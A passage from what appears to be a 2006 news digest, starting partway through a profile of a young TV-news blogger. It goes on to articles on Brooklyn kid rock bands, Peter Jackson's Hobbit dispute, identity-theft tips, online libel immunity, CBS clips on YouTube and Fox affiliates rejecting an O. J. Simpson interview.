In the industry Mr. Stelter is generally thought of as a reliable reporter, despite his youth and inexperience. “He seems to be a trustworthy guy, a trustworthy source of information,” said Jeff Greenfield, a CNN commentator. “And the fact that he can barely vote and drink shouldn’t really bother anybody.”

Mr. Stelter’s relationship with the reporters who cover the industry is more strained. The Television Critics Association, an industry group, will not accept him as a member because he is a blogger. And there are some who feel his influence is out of proportion. “He kind of dominates the conversation in this business, just because he posts everything,” said Michael Learmonth, a reporter for Variety, a trade publication.

But before long Mr. Stelter may shed his label as boy blogger. Next spring he graduates from Towson, and his contract with Mediabistro, where he is considered a full-time employee, ends in May. While he said he hasn’t received any firm job offers in the industry, several television executives have urged him to call when he starts job hunting.

In the meantime, Mr. Stelter’s blogging schedule may hit some snags in the coming months. For one thing, he has a new girlfriend. And a planned trip to China in January is causing some distress. “I’m really worried about how I’m going to find an Internet connection,” he said.

But taking time off is unthinkable. “My audience won’t put up with that,” Mr. Stelter said. “TV news is always on.”
http://www.nytimes.com/2006/11/20/bu...rtner=homepage





Mama Was a Riot Grrrl? Then Pick Up a Guitar and Play



Jessica Pressler

THE children whispering and fidgeting in front of the stage at Union Hall in Park Slope, Brooklyn, looked like any kids awaiting, say, a storyteller. Then Zora Sicher and Hugo Orozco, the two 11-year-olds who make up the band Magnolia, climbed onstage and broke into a hard-driving original song called “Volume.” It was clear this was not quiet time.

“Wooooo!” a dreadlocked woman shouted from the back of the room, where a crowd of adults, many in vintage concert T-shirts and cardigans, looking like kids themselves, cheered and sipped bloody marys.

A clump of teenagers looked on appreciatively during the set, part of a showcase of all-kid bands on a Saturday afternoon this month at the CMJ Music Marathon in New York. When the Magnolia duo paused to adjust their instruments — Zora on guitar, Hugo on drums — a babe in arms wailed. “Are you crying because they stopped, honey?” Mom cooed.

For this set of performers and audience members, indie rock is as familiar as a lullaby. “We like punk, classic rock, metal, riot grrrl,” said Hugo, an elfin-face sixth grader from Brooklyn, who was given her first drum set at 7.

Magnolia, like other bands on the Union Hall bill — Care Bears on Fire, Tiny Masters of Today, Fiasco, Hysterics — is more than a novelty act. It is developing a following on New York’s burgeoning under-age music circuit, where bands too young for driving licenses have CDs, Web sites and managers.

“Oh my god, there’s like a huge, huge kid-rock scene here,” said Jack McFadden, known as Skippy, who booked the show at Union Hall. “It’s really very indicative of Park Slope, since so many of the parents who live around here are hip and have these hip little kids that they dress in, like, CBGBs T-shirts.”

It makes sense: in this family-friendly part of Brooklyn every other brownstone seems to house creative professionals who urge their children to march to — or become — a different drummer.

Nearly every weekend 10- to 17-year-olds play shows in the afternoon at bars like Union Hall, the Liberty Heights Tap Room in Red Hook and Southpaw in Park Slope, which has begun a teenage rock series, the Young and the Restless. In Manhattan there are all-ages shows at the Knitting Factory in TriBeCa, Arlene’s Grocery and afternoon Death Disco parties at Cake Shop on the Lower East Side.

“They could call it kid-core,” said Rich Egan, the owner of Vagrant records in Los Angeles, who signed the New Jersey-based band Senses Fail as teenagers and is wooing a younger band he first heard on MySpace.

Preteens and teenagers have found success in bands almost since the birth of rock. The Jackson 5, Hanson and New Kids on the Block were all big-selling acts, formed by parents or impresarios. But those acts recorded mainstream pop. The latest kid bands are emerging in the traditions of garage, hardcore and indie rock, a reflection of their hipster parents’ tastes and their 1980s and ’90s CD collections.

Hugo’s mother, Molly Gove, who said she was in a few riot grrrl bands herself in the ’90s, enrolled her daughter in the Willie Mae Rock Camp for Girls in New York, where children 8 to 18 learn the playlist of bands like Bikini Kill and the Pixies.

Across the country kid-core acts have emerged, including a pair of brothers 8 and 11 in Detroit, who play with their father in the Jack White-produced band the Muldoons; sisters 12 and 14 who make up the Seattle-based duo Smoosh; and the Nashville-based band Be Your Own Pet, which toured with Sonic Youth in the summer.

Many teenage rockers connect through MySpace, where they post sample tracks, videos and announcements of gigs, as well as leave one another messages of support. In a message to Magnolia, Forrest Fire Gray, 14, whose father was the monologuist Spalding Gray and who is the frontman of Too Busy Being Bored, wrote, “Can’t wait to play with u guys.”

More than a few of New York’s baby-face rockers have famous parents in the entertainment business, who have encouraged their children’s artistic streaks and served as role models for professional success. Lucian Buscemi, 16, the son of the actor Steve Buscemi, along with Julian Bennett-Holmes and Jonathan Shea, both also 16, have become something like the kingpins of the Park Slope kid-rock scene, ever since their band, Fiasco — previously known as StunGun — became the first youth band to play the Liberty Heights Tap Room.

Pale and thin, with fluffy manes of rocker hair, Lucian and Julian are also partners in a record label, Beautiful Records, which has recorded Care Bears on Fire and Magnolia, using equipment that Lucian was given for his eighth-grade graduation, soon after a baby sitter introduced the two boys to ’80s punk.

“We were into, like, Rancid and Blink 182 at the time,” said Julian, cringing at his junior-high lack of cool. “That ended when we heard Minor Threat.”

Many kid-core bands cite that hardcore act from the ’80s as a big influence. The adults who attend kid-rock shows couldn’t be happier. This is the music they loved as teenagers. “This is the first generation of parents who have grown up listening to rock ’n’ roll, so they’re thrilled about it,” said Stephen Depulla, the owner of Liberty Heights Tap Room. Not least because it provides an opportunity for bonding.

Kathie Russo, Forrest Fire Gray’s mother, said she and her son swap music like friends. “I suggested he cover ‘Angie’ by the Rolling Stones, and he introduced me to Modest Mouse and the Vines,” she said. “Last night we were in the car singing along to Audioslave. I can’t imagine that with my parents.”

She also probably can’t imagine her parents acting as roadies, which many of the young rockers’ moms and dads do.

The most prominent band on New York’s junior-varsity rock scene is Hysterics, a “psychedelic” quartet founded at the artsy St. Ann’s School in Brooklyn. The week after performing at Union Hall at the CMJ Marathon, the band members gathered at the studio of Jeff Peretz, their manager. Mr. Peretz also guides the Tangents, whose bass guitarist, Miles Robbins, 12, is the son of Susan Sarandon and Tim Robbins.

Members of Hysterics discussed their coming gig, a party for a new Valentino perfume, which was organized through a friend of the fashion photographer Pamela Hanson, whose son, Charlie Klarsfeld, 17, is the group’s guitarist. The evening, at 7 World Trade Center last Thursday, turned out to be a pileup of celebrity children with music careers, including the DJs Lola Schnabel and Mark Ronson.

“Are we going to get swag?” asked Josh Barocas, 17, the quiet bassist, whose enormous Afro speaks of a somewhat louder interior personality.

“What’s swag?” Charlie asked.

“It’s free stuff they give to famous people,” Mr. Peretz said.

“Every teen band in New York wants to be Hysterics,” he added. The group was discovered two years ago, when a science teacher at St. Ann’s posted one of its songs on his blog, and its cool factor rocketed after signing a record deal with independent v2. The company took the musicians for cookies and milk at the City Bakery. As high school juniors and seniors, they are old enough for the gesture to be ironic.

NOT so the Tiny Masters of Today. On a Friday evening in November, Ada, the bassist, 10, a slight girl with a heart-shape face, was reading “Harry Potter and the Half-Blood Prince” at Piano’s, a Lower East Side bar, while waiting to go on with her brother, Ivan, 12, the lead guitarist. (Their father requested that the family name not appear in print to protect the children’s privacy.)

After the set, during which they performed, among other songs, Ada’s mournful “Pictures” — “It’s about my friends in second grade and how awful they were to me,” she said — an adult in the audience called the band “the new Raincoats,” a reference to an experimental British act of the late ’70s.

Ivan is familiar with their music, although he said he prefers louder stuff like the Stooges. “And I’m really into Apollo Sunshine right now,” he said, perched on a bar stool and chewing thoughtfully on a cocktail straw. “I go through phases.”

Their father has worked for the indie label Caroline and once pulled the kids out of school early to see the White Stripes. His children’s affection for indie rock, he said, is a reaction to mainstream tastes. “They’re rebelling against, like, Walt Disney.”

Or maybe Britney Spears. “Our parents had the Clash, the Who, Bowie,” said Alana Higgins, 17, the bassist for the band Modrocket. She was at a Dunkin’ Donuts in the East Village near the space where her band rehearses.

“The scenes back then were so much better. Rock music now — it’s upsetting. Our kids are going to look back at our music and it’s going to be like —— ”

“Kelly Clarkson,” interjected Alice Blythe, 17, Modrocket’s singer.

The kid-core sound is far less slick than the pop and R & B that animates “American Idol,” either because the musicians are just learning to play or because their musical influences trace to the DIY roots of garage rock.

Tiny Masters of Today was on the Oct. 11 cover of the British magazine Artrocker. “They’re making this kind of primitive, unprocessed, unfiltered music,” their father said.

It was that sound that attracted Russell Simins, the grown-up drummer in Jon Spencer Blues Explosion, who found the Tiny Masters on MySpace last year. He now accompanies them on drums during live sets.

“They have this unadulterated way of saying things, ” Mr. Simins said, sipping a beer at Piano’s. “It’s perfectly not thought out. They don’t have angst. Or their angst is simpler: it’s about being precocious and being kids who want to have fun and eat ice cream or about being bored. They’re not asking why they’re bored,” he said with a laugh. “They don’t have, like, existential malaise.” When Mr. Simins plays with the group, his hulking 36-year-old frame is a perfect foil to the children’s Lemony Snicket-character bodies.

He insists that he is not actually in the band, even though he’ll be on their coming album, which will also feature guest appearances by Fred Schneider of the B-52s and the singer and songwriter Kimya Dawson.

And Mr. Simins occasionally practices with them at home in Cobble Hill, Brooklyn. “Sometimes I’ll stay over for dinner — you know, pizza or spaghetti or quesadillas or whatever,” he said. “Like I’m a kid.”
http://www.nytimes.com/2006/11/19/fashion/19teen.html





J.R.R. could’ve seen this coming

Peter Jackson and Fran Walsh Talk THE HOBBIT
Xoanon

Moments ago we received this email from Peter Jackson and his crew down in New Zealand, take a look...

Dear One Ringers,

As you know, there's been a lot of speculation about The Hobbit. We are often asked about when or if this film will ever be made. We have always responded that we would be very interested in making the film - if it were offered to us to make.

You may also be aware that Wingnut Films has bought a lawsuit against New Line, which resulted from an audit we undertook on part of the income of The Fellowship of the Ring. Our attitude with the lawsuit has always been that since it's largely based on differences of opinion about certain accounting practices, we would like an independent body - whether it be a judge, a jury, or a mediator, to look at the issues and make an unbiased ruling. We are happy to accept whatever that ruling is. In our minds, it's not much more complex than that and that's exactly why film contracts include right-to-audit clauses.

However, we have always said that we do not want to discuss The Hobbit with New Line until the lawsuit over New Line's accounting practices is resolved. This is simple common sense - you cannot be in a relationship with a film studio, making a complex, expensive movie and dealing with all the pressures and responsibilities that come with the job, while an unresolved lawsuit exists.

We have also said that we do not want to tie settlement of the lawsuit to making a film of The Hobbit. In other words, we would have to agree to make The Hobbit as a condition of New Line settling our lawsuit. In our minds this is not the right reason to make a film and if a film of The Hobbit went ahead on this basis, it would be doomed. Deciding to make a movie should come from the heart - it's not a matter of business convenience. When you agree to make a film, you're taking on a massive commitment and you need to be driven by an absolute passion to want to get the story on screen. It's that passion, and passion alone, that gives the movie its imagination and heart. To us it is not a cold-blooded business decision.

A couple of months ago there was a flurry of Hobbit news in the media. MGM, who own a portion of the film rights in The Hobbit, publicly stated they wanted to make the film with us. It was a little weird at the time because nobody from New Line had ever spoken to us about making a film of The Hobbit and the media had some fun with that. Within a week or two of those stories, our Manager Ken Kamins got a call from the co-president of New Line Cinema, Michael Lynne, who in essence told Ken that the way to settle the lawsuit was to get a commitment from us to make the Hobbit, because "that's how these things are done". Michael Lynne said we would stand to make much more money if we tied the lawsuit and the movie deal together and this may well be true, but it's still the worst reason in the world to agree to make a film.

Several years ago, Mark Ordesky told us that New Line have rights to make not just The Hobbit but a second "LOTR prequel", covering the events leading up to those depicted in LOTR. Since then, we've always assumed that we would be asked to make The Hobbit and possibly this second film, back to back, as we did the original movies. We assumed that our lawsuit with the studio would come to a natural conclusion and we would then be free to discuss our ideas with the studio, get excited and jump on board. We've assumed that we would possibly get started on development and design next year, whilst filming The Lovely Bones. We even had a meeting planned with MGM executives to talk through our schedule.

However last week, Mark Ordesky called Ken and told him that New Line would no longer be requiring our services on the Hobbit and the LOTR 'prequel'. This was a courtesy call to let us know that the studio was now actively looking to hire another filmmaker for both projects.

Ordesky said that New Line has a limited time option on the film rights they have obtained from Saul Zaentz (this has never been conveyed to us before), and because we won't discuss making the movies until the lawsuit is resolved, the studio is going to have to hire another director.

Given that New Line are committed to this course of action, we felt at the very least, we owed you, the fans, a straightforward account of events as they have unfolded for us.

We have always had the greatest support from The Ringers and we are very sorry our involvement with The Hobbit has been ended in this way. Our journey into Tolkien's world started with a phone call from Ken Kamins to Harvey Weinstein in Nov 1995 and ended with a phone call from Mark Ordesky to Ken in Nov 2006. It has been a great 11 years.

This outcome is not what we anticipated or wanted, but neither do we see any positive value in bitterness and rancor. We now have no choice but to let the idea of a film of The Hobbit go and move forward with other projects.

We send our very best wishes to whomever has the privilege of making The Hobbit and look forward to seeing the film on the big screen.

Warmest regards to you all, and thanks for your incredible support over the years.

We got to go there - but not back again ...
http://www.theonering.net/perl/newsview/8/1163993546





State Takes Aim at ID Theft

Web site offers consumers tips for protecting their identity
Fred Lucas

The growing threat of stolen identities looms especially large during the holiday season, according to state and federal officials.

The Connecticut Department of Consumer Protection announced the launch of a new Web page with information to help people avoid identity theft and tell them what to do if they become victims.

"Nearly every week we hear about data being lost or stolen from data files, so consumers need to take charge of safeguarding their information and their credit as much as possible," said Gov. M. Jodi Rell in a written statement. "If you notice unexplained charges or withdrawals, you should not assume that there's been a mistake and do nothing."

Rell encouraged residents to go to the state's Web site, www.ct.gov/dpc , and click on the identity theft information. This page has links to the Federal Trade Commission, a link to get a free credit report, and tips from the state and links to sites about avoiding identity theft.

"There are many different ways identity thieves can get a hold of your personally identifiable information during the holiday shopping season," said Jacqueline Dizdul, spokeswoman for the Federal Trade Commission.

"There is a lot more activity with credit cards, and it's easier for charges to slip through unnoticed," Dizdul continued. "When there are more people in stores, there could be more chances someone will grab your personal info."

While much attention is paid to thieves who obtain information electronically, old-fashioned stealing at shopping malls is still a big problem, Dizdul said.

"Consumers should safeguard their purse and wallet," Dizdul said. "Don't carry your Social Security card. Leave it in a secure place. Carry only the identification information and the credit and debit cards that you'll actually need when you go out."

The state Web page suggests people use passwords for bank accounts; refrain from providing personal information over the phone, mail or Internet; and even says, "It's no longer wise to put outgoing mail in your home mailbox for the postal carrier to take, especially if that mail contains payments that you are making to creditors."

Wachovia Banks throughout Connecticut last week identified a man who cashed phony checks from six Wachovia customers in Georgia, New Jersey and Virginia. From Aug. 14 to 18, he cashed checks at 12 Wachovia branches in Connecticut, including twice at the Danbury branch.

The state's Web page also suggests you may be a victim if you: fail to receive bills or other mail that might signal a thief has changed your account to his own address; receive credit cards for which you didn't apply; or if you're denied credit without reason.

Finally, people who believe they are victims should contact the police, the Internal Revenue Service and the U.S. Post Office as soon as possible, the state says.

Also, the site advises victims to hold onto all their documents and to contact the three major credit bureaus.

Identity theft accounted for 39 percent of all consumer complaints to the FTC last year. The FBI estimates between 500,000 and 700,000 people annually become victims, making ID theft the fastest growing crime in the country.

Meanwhile, businesses lost $8 billion, while individuals lost $5 billion to identity theft, according to the FTC.

This year, Connecticut adopted a law that allows state residents to put a security freeze on their credit files to stop creditors and other parties from obtaining their credit report. The freeze could stop an identity thief from getting someone's Social Security number, address or other information to fraudulently obtain secure credit cards or loans in the victim's name.

New York, New Jersey and Vermont are among the 24 other states with such a law.

It is difficult to determine how the law has affected Connecticut residents, since ID theft itself isn't a crime, said Sgt. J. Paul Vance of the Connecticut State Police.

"The law broken is not identity theft, but is larceny or theft," Vance said. "During the hustle and bustle of the holiday season, people forget to check their monthly statements, follow the path of their credit cards, and make sure numbers and documents that need to be obliterated are obliterated."
http://www.newstimeslive.com/news/story.php?id=1022977





Web Sites Not Liable for Posts by Others
Jordan Robertson

Web sites that publish inflammatory information written by other parties cannot be sued for libel, the California Supreme Court ruled Monday.

The ruling in favor of free online expression was a victory for a San Diego woman who was sued by two doctors for posting an allegedly libelous e-mail on two Web sites.

Some of the Internet's biggest names, including Amazon.com, America Online Inc., eBay Inc., Google Inc., Microsoft Corp. and Yahoo Inc., took the defendant's side out of concern that a ruling against her would expose them to liability.

In reversing an appellate court's decision, the state Supreme Court ruled that the Communications Decency Act of 1996 provides broad immunity from defamation lawsuits for people who publish information on the Internet that was gathered from another source.

"The prospect of blanket immunity for those who intentionally redistribute defamatory statements on the Internet has disturbing implications," Associate Justice Carol A. Corrigan wrote in the majority opinion. "Nevertheless ... statutory immunity serves to protect online freedom of expression and to encourage self-regulation, as Congress intended."

Unless Congress revises the existing law, people who claim they were defamed in an Internet posting can only seek damages from the original source of the statement, the court ruled.

The case centers on an opinion piece sent via e-mail to Ilena Rosenthal, a woman's health advocate who runs various message boards and promotes alternative medicine.

The scathing missive, written by Tim Bolen, accused Dr. Terry Polevoy, of Canada, of stalking a Canadian radio producer and included various invectives directed at Polevoy and Dr. Stephen Barrett, of Pennsylvania. The two doctors operated Web sites devoted to exposing health frauds.

After Rosenthal posted the piece to two newsgroups, Polevoy and Barrett sued her, Bolen and others for libel. The lawsuit accuses Rosenthal of republishing the information after being warned it was false and defamatory.

The trial court ruled that Rosenthal's actions were protected, but an appeals court decided she was not shielded from liability as a distributor of the information. The state Supreme Court's ruling reversed that decision.

Legal experts said the ruling follows similar decisions in other states designed to protect free and open access to information.

"Even though the court recognizes that it could have unfortunate consequences, they're saying that Congress controls this area," said Carl Tobias, a law professor at the University of Richmond.

Christopher Grell, the lawyer for Polevoy and Barrett, said they have not decided whether to appeal the decision.

"What this decision does is, it basically promotes the distribution of offensive material, which I can't imagine Congress ever intended," he said.
http://hosted.ap.org/dynamic/stories...11-20-21-08-18





Prince Charles Embraces Internet Age
AP

The heir to the British throne took a leap into the Internet age Monday, posting a day-in-the life video on his revamped personal Web site.

The short film follows Prince Charles through a typical day, showing him working at his London office, carrying out public engagements with his wife Camilla, Duchess of Cornwall and flying by helicopter to his country home for a reception.

The site also allows royal-watchers to sign up for e-mail updates on topics ranging from Charles' sons, Princes William and Harry, to his Duchy Originals brand of organic food products. There is also a section for children, with puzzles and games.

Future plans for the site include clips of the prince's speeches and interviews, his Clarence House office said.
http://hosted.ap.org/dynamic/stories...11-20-12-38-57





In Web World, Rich Now Envy the Superrich
Katie Hafner

Almost anywhere else, Reid Hoffman would be considered a major success. As an early executive of PayPal, he was in the money when the company was sold to eBay in 2002 for $1.5 billion. These days, he runs a new start-up company of his own while investing in others.

But when greater fortunes are made — as happened recently to three former PayPal colleagues when YouTube was sold to Google for $1.65 billion — Mr. Hoffman said he could not avoid a twinge of envy.

“It’s kind of embarrassing,” said Mr. Hoffman, 39, whose start-up, a business-oriented social-networking site called LinkedIn, is almost four years old. “You started a year or two earlier, and they start after you and then this thing zips right past you and gets the golden results.”

Envy may be a sin in some books, but it is a powerful driving force in Silicon Valley, where technical achievements are admired but financial payoffs are the ultimate form of recognition. And now that the YouTube purchase has amplified talk of a second dot-com boom, many high-tech entrepreneurs — successful and not so successful — are examining their lives as measured against upstarts who have made it bigger.

Mr. Hoffman, who made enough from PayPal to “retire to a comfortable upper-middle-class lifestyle,” said he felt no spite toward peers who later hit bigger jackpots. Still, he said, “there’s always components of, ‘Wow, you happened to pick the right time,’ and that will always lead to some kind of implicit envy.”

The envy is magnified by the fickleness of this latest wave of sudden wealth, creating some huge paydays but a small circle of winners. Partly that reflects more judicious investment of venture capital in new companies; the amount invested has risen slightly over the last year but is down 70 percent from the peak of $40 billion in 2000.

“This is still a place where YouTube is a real metaphor for what’s possible, just on a more selective scale,” said Stephen Levy, director of the Center for Continuing Study of the California Economy, based in Palo Alto.

Seven or eight years ago, when it seemed that anyone with a business plan could get rich, the finger of fortune was generous — and democratic. By the time it occurred to people to be envious, it seemed, they were rich, too — at least on paper. It was in Silicon Valley, after all, that the term “sudden wealth syndrome” entered the clinical vocabulary.

In the end, of course, much of the paper wealth turned worthless. But now, in the wake of successes like YouTube and MySpace, which was sold last year to the News Corporation for $580 million, some people believe that the foundations for more solid success are now in place. For one thing, the viability of online advertising is no longer in doubt, as Google and others have proved.

And the success of a YouTube can produce not only envy but also serious motivation — in Silicon Valley and beyond.

“Over all, I think things like YouTube make people reconsider the possibilities,” said Bart Selman, a professor of computer science at Cornell. In 1999, at the tail end of the dot-com boom, Professor Selman had a start-up called Expertology, which used a Web-based system that tapped collective expertise to generate legal referrals. The business failed. “After the dot-com bust, people were thinking, ‘Maybe this is all just hype,’ ” he said.

Now, Professor Selman said, he has seen several start-ups, like Hoovers.com and LinkedIn, successfully pursuing ideas along the lines of Expertology’s mission. “But of course, timing is everything,” he said.

And while he says he thinks the YouTube deal was “a little insane,” Professor Selman, who has watched several colleagues become highly wealthy after joining Google, is considering trying his start-up luck again, with a variant on the Expertology idea.

“Maybe there’s more to the economic model than we realized five years ago,” he said. “Maybe the new wave is a little more solid.”

Professor Selman, 47, said that while he was careful not to “overhype” the new wave, he routinely tells his students that they have a good chance of starting the next Google or YouTube. “I believe there are still many opportunities out there that we cannot even conceive of at this point,” he said.

With rewards of that scale on the horizon, the pressure to make a fortune can be enormous, and people have different ways of coping with it. Some find inspiration in others’ success, while some spend tremendous amounts of psychic energy worrying about how rich their friends are.

Envy can even affect relationships among siblings.

When he was growing up in Winchester, Mass., Peter Pezaris told friends and family that he planned to become a millionaire by the age of 30 and a billionaire by 40.

“I remember thinking, ‘Yeah, sure, right,’ ” said Mr. Pezaris’s older brother, John, a computational neuroscientist at Harvard.

True to his word, in 1999, Peter Pezaris sold his two-year-old business, Commissioner.com, to CBS SportsLine for $46 million, three days after his 30th birthday. (The proceeds were shared among five partners; his brother was not among them.)

Peter Pezaris, 37, who is now based in Boca Raton, Fla., said he still believed that he had “plenty of time” to become a billionaire by age 40 with his new start-up, Multiply.com, a social networking site.

This time his brother is paying closer attention. John Pezaris had helped informally with the first business; now he programs for Multiply in his spare time and has a formal stake.

“I wanted to codify something for his second one,” said John Pezaris, who is 43. “So we came to an arrangement.”

Going for success a second time is an iffy proposition in any business and is especially unpredictable in the high-tech world. It still gnaws on Mr. Hoffman, the former PayPal executive, that he passed up the chance to invest in YouTube. When YouTube was founded, Mr. Hoffman was preparing to make an investment, he says, but a venture capital firm, Sequoia Capital, edged him out by offering better terms. Sequoia could make nearly $500 million from the Google-YouTube deal.

“My only real regret is I didn’t go back and say, ‘Hey, let me in at least a little bit,’ ” he said.

And, of course, there is the retrospective rationalizing, which is another way to cope with envy. Mr. Hoffman now does this with his missed YouTube opportunity.

“It looked like a couple of guys who’d built the right kind of technology” for something that could grow, he said, “but it could also have been an early blip.”

Then again, Mr. Hoffman said, “It’s the big wins that keep everyone diving off the cliff.”

Indeed, among high-tech entrepreneurs in particular, for whom enormous wealth seems within reach, it is easy to lose perspective.

“It can seem like the only way to be respectable is to achieve as much as the founders of YouTube or Google,” said Alain de Botton, author of “Status Anxiety” (Random House, 2004).

Reference points only make matters worse, Mr. de Botton said. He pointed to research that has been done on attractive women who feel ugly when surrounded by images of more beautiful women. “Very often the problem isn’t so much what an individual happens to look like, but the extraordinary comparisons being made,” he said.

Yet one would-be entrepreneur’s inspiration is another’s sense of pressure. “Cynics would say you need this kind of pressure or people won’t achieve, that you only produce these great results if there’s this kind of tension in the air,” Mr. de Botton said.

But some find a way to opt out.

James Hong, a co-founder of Hotornot.com, a dating site, found that his $55,000 Porsche Boxster had come to symbolize the trap he often saw others in Silicon Valley fall into. Mr. Hong, 33, says Hotornot’s success allowed him “a very comfortable life without ever needing to get a job — freedom money, as they call it.” But he nonetheless saw himself succumbing to the envy malaise.

After all, his best friend, Max Levchin, was a founder of PayPal and has a net worth probably in the tens of millions.

So in a conspicuous move to get out of the game, Mr. Hong has decided to sell his sports car and has bought a Toyota Prius.

“I don’t want to live the life of a Boxster, because when you get a Boxster you wish you had a 911,” he said, referring to a much more expensive Porsche. “And you know what people who have 911s wish they had? They wish they had a Ferrari.”

Mr. Hong said his most effective coping mechanism for feeling outstripped by his friends’ wealth — beyond his choice of cars — is to try to put it out of his mind.

“The only way I’ve dealt with it over time is to consciously decide not to care,” he said. Still, he confesses: “Every now and then, when I hear they’re getting a certain valuation, I think, ‘I need that, too.’ There’s a little devil inside all of us that says, Why not you?”
http://www.nytimes.com/2006/11/21/te... tner=homepage





CBS Says YouTube is Helping Ratings
LostRemote

It’s been a month since CBS began its partnership with YouTube, and the network has uploaded 300 videos. Since that time, the clips have racked up a total of 29.2 million views for an average of 857,000 views a day. Many of the clips are from CBS’ Late Show with David Letterman and The Late Late Show, and the network says ratings have risen 5 and 7 percent respectively since the YouTube deal began. “Although the success of these shows on YouTube is not the sole cause of the rise in television ratings, both companies believe that YouTube has brought a significant new audience of viewers to each broadcast,” reads the press release, which follows below along with a list of the top 15 clips so far…

PRESS RELEASE — One month after launching the CBS Brand Channel on YouTube, CBS’s daily feed of news, sports and entertainment clips have become some of the most widely viewed content on the site.

CBS has uploaded more than 300 clips that have a total of 29.2 million views on YouTube, averaging 857,000 views per day, since the service launched on October 18. CBS has three of the top 25 most viewed videos this month (Nov.1–17), including clips from CBS’s Tuesday night hit drama “NCIS,” “Late Show with David Letterman,” “The Late Late Show with Craig Ferguson” and “The Early Show.” The CBS Brand Channel is also one of the most subscribed channels of all time with more than 20,000 users subscribing to CBS programming on YouTube since the channel launch last month.

“Above all the other good news, what’s most exciting here is the extent to which CBS is learning about its audience as never before,” said Quincy Smith, President, CBS Interactive. “YouTube users are clearly being entertained by the CBS programming they’re watching as evidenced by the sheer number of video views. Professional content seeds YouTube and allows an open dialogue between established media players and a new set of viewers. We believe this inflection point is the precursor to many exciting developments as we continue to build bridges rather than construct walls.”

“CBS has done a phenomenal job at engaging and interacting with the YouTube community and we’re pleased that this has brought new viewers to their broadcasts. It’s been great watching our community respond so strongly and positively to their entertaining content,” said Kevin Donahue, Vice President of Content for YouTube. “We look forward to working with CBS to help them promote their quality programming while bringing timely video content to our user community.”

Ratings for the network’s late night programs, in particular, have shown notable increases. CBS’s “Late Show with David Letterman” has added 200,000 (+5%) new viewers while “The Late Late Show with Craig Ferguson” is up 100,000 viewers (+7%) since the YouTube postings started. Although the success of these shows on YouTube is not the sole cause of the rise in television ratings, both companies believe that YouTube has brought a significant new audience of viewers to each broadcast.

Here are the Top 15 CBS videos watched this month (as of Nov. 17):

1. NCIS/Cat Fight 1,603,364
http://www.youtube.com/watch?v=DowFLyuHaeo

2. Letterman/ Borat Meets David Letterman 1,057,180
http://www.youtube.com/watch?v=NvQScRuZj9s

3. Early Show/ Borat Vs Harry Smith 969,391
http://www.youtube.com/watch?v=UnbnaT8If0Q

4. Letterman/ Bush is drinking again 698,806
http://www.youtube.com/watch?v=irOFAjsnSg0

5. Letterman/ Message About February for Bush 524,697
http://www.youtube.com/watch?v=NmX23l0ouo8

6. CBS Evening News/ Michael J Fox Talks to Katie Couric 465,563
http://www.youtube.com/watch?v=o8lsjfjgAA8

7. CSTV/USC Cheerleaders: The Song Girls 374,623
http://www.youtube.com/watch?v=8KtR2oeXFqo

8. CSTV/ A Field of Dreams for Judy Coffman 358,572
http://www.youtube.com/watch?v=IWERvnzVkYE

9. Letterman/George W. Bush Fakin’ It 357,213
http://www.youtube.com/watch?v=cVOj6iP_iVs

10. Letterman/ Dave and Bill O’Reilly 352,747
http://www.youtube.com/watch?v=d0nD_iNPalY

11. Letterman/The Guy Who Swears At Dave 316,258
http://www.youtube.com/watch?v=foyLyriak-Q

12. Ferguson/ Fun is Dangerous 314,093
http://www.youtube.com/watch?v=jFMfmXWlAGs

13. Letterman/Do Maggots Go With Scorpion 278,283
http://www.youtube.com/watch?v=Jjed2Xq0ImI

14. Ferguson/ Bush visits the Un-Late Late Show 221,462
http://www.youtube.com/watch?v=5fvqMF34iG4

15. Ferguson/Bad Kerry 219,556
http://www.youtube.com/watch?v=M6Bz_r5CZTk

CBS and YouTube launched the CBS Brand Channel in October, which included clips from “Late Show with Dave Letterman,” “The Late Late Show with Craig Ferguson,” “NCIS” and “CSI: Miami,” as well as archival sports footage such as great finishes and upsets from NCAA’s March Madness. CBS has also provided clips from “CBS News First Look with Katie Couric,” in which Couric offers a web-exclusive rundown of the stories being considered for coverage on that night’s “CBS Evening News.” “First Look” also offers some perspective on what is going on in the world that day.
http://www.lostremote.com/2006/11/21...lping-ratings/





Fox Stations Rebel Against Network’s Decision to Run O. J. Simpson Interview
Maria Aspan

Showing that attempts at corporate synergy can sometimes backfire, several affiliates of Fox Broadcasting said they would not show the network’s two-part interview with O. J. Simpson next week.

Pappas Telecasting Companies, which owns four Fox affiliate stations in Nebraska, Iowa and California, informed Fox on Friday morning that their stations would not be broadcasting the interview, according to Dennis J. Davis, the president of Pappas. Lin Broadcasting, which owns five Fox affiliates, also will not be showing the program, the New York Daily News reported on Saturday.

The heavily promoted interview, to be aired in two parts on Nov. 27 and 29, will coincide with the Nov. 30 release of Mr. Simpson’s book, “If I Did It.” According to Judith Regan, who is both publishing the book and conducting the interview, the book is Mr. Simpson’s confession to the murders of his ex-wife and her friend, for which he was acquitted in 1994.

Both Fox and Ms. Regan’s HarperCollins publishing imprint, ReganBooks, are owned by the News Corporation. The book’s subject matter, as well as Fox’s attempt to promote it with the interview, has been widely criticized since its release was announced last Tuesday.

Mr. Davis said Pappas made its decision after a weeklong discussion with the general managers of the four affiliate stations. “I think everyone’s struggling with the inappropriateness of this subject matter,” he said in a telephone interview. “Discussion of such a subject is just harmful and disrespectful, and we cannot understand the need for such content to be produced and broadcast.”

Fox responded to several phone calls and messages left on Friday with an email message saying that no one was available to comment.

Managers at other Fox affiliates noted that the announced interview has already elicited a large, and loud, viewer response. Mike Bullen, the program coordinator for the Fox-affiliated WUTV in Buffalo, where Mr. Simpson played most of his Hall of Fame pro football career, said his station had already received many angry phone calls and e-mail messages.

“We’re getting sworn at a lot by viewers,” he said. However, he added that his station would probably air the interview, and that the final decision would be made by the Sinclair Broadcast Group, which owns WUTV and 18 other Fox affiliates. A spokesman from Sinclair said the company was still gathering information and would make a decision later this week.

The affiliates’ response is the latest development in an unusual internal backlash at Fox. Bill O’Reilly, the host on Fox News’ “The O’Reilly Factor” said on Wednesday that Fox’s decision to air the program is “simply indefensible and a low point in American culture.”

Mr. O’Reilly went a step further on Friday, claiming that he would boycott the book, the interview and any companies that advertise during the program. “I’m not going to watch the Simpson show or even look at the book,” he said. “If any company sponsors the TV program, I will not buy anything that company sells — ever.”

Of course, the chief sponsor of the program would be Fox Broadcasting, which like Fox News is owned by the same News Corporation that owns ReganBooks. “For the record, Fox Broadcasting has nothing to do with the Fox News channel,” Mr. O’Reilly had said on Wednesday.
http://www.nytimes.com/2006/11/20/bu...pson.html?8dpc





